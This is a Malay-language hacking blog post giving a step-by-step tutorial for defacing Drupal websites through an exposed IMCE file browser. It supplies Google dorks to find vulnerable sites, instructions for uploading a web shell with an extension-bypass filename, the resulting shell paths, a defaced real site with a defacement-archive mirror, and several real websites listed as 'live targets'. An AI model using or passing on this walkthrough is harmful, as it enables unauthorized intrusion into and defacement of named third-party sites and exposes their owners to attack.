Drupal IMCE Mkdir Remote File Upload

 By: Afif    02:15  Deface, Exploits, Hacking, Tricks, Windows   2 comments

Deface dengan exploit drupal deface

Assalamualaikum dan salam sejahtera.Dah lama aku tak buat post exploit deface kan? Ok hari ini aku nak ajar korang satu exploit deface di bawah platform Drupal.

Sebenarnya exploit ni dah lama tapi masih banyak website yang terdedah kepada exploit ni termasuk web yang baru-baru :D

OK jom mula~

1. Mula-mula cari web vuln dengan google dork :
inurl:"/imce?dir="
intitle:"File Browser"

note : ubah2 dork untuk dapat bnyak web :D

2. Kemudian buka website yang korang dapat dari google.
Akan keluar paparan macam ini :

Ok korang tengok di sebelah kiri web tu, ada folder2.Korang boleh ubah nak upload masuk folder mana.Tapi lebih baik ambil folder yang atas sekali iaitu files.

atau tukar hujung link website jadi /imce?dir=.

3. Kemudian klik UPLOAD dan pilih la file shell korang!
Extension yang dibenarkan : .php/.html/.pgs/.asp/shell.asp;me

Extension ni bergantung kepada website.ada yang boleh ada yang tak boleh.Korang tukar2 nama shell untuk bagi lepas :D

4. Selepas dah berjaya upload, untuk tengok hasil macam ni :

http://target.com/files/shell.php
http://target.com/path/shell.php

note : /path/ tu ikut kepada website.dia lain2 nama dia.ada yang tak ada dan ada yang ada.


Ok ini hasil yang aku dapat :

http://astronutrition.com/blog/files/reaperz.html
Mirror :
http://legend-h.org/deface.php?id=858072

Live Target :
http://astronutrition.com/blog/imce?dir=.
http://www.arcireal.com/imce?dir=.
http://www.worldagroforestry.org/imce?dir=.

dan banyak lagi kat google :D


Ok sampai sini saja tutorial kali ini.semoga berjaya depes...

Item Reviewed: Drupal IMCE Mkdir Remote File Upload Description: Rating: 5 Reviewed By Afif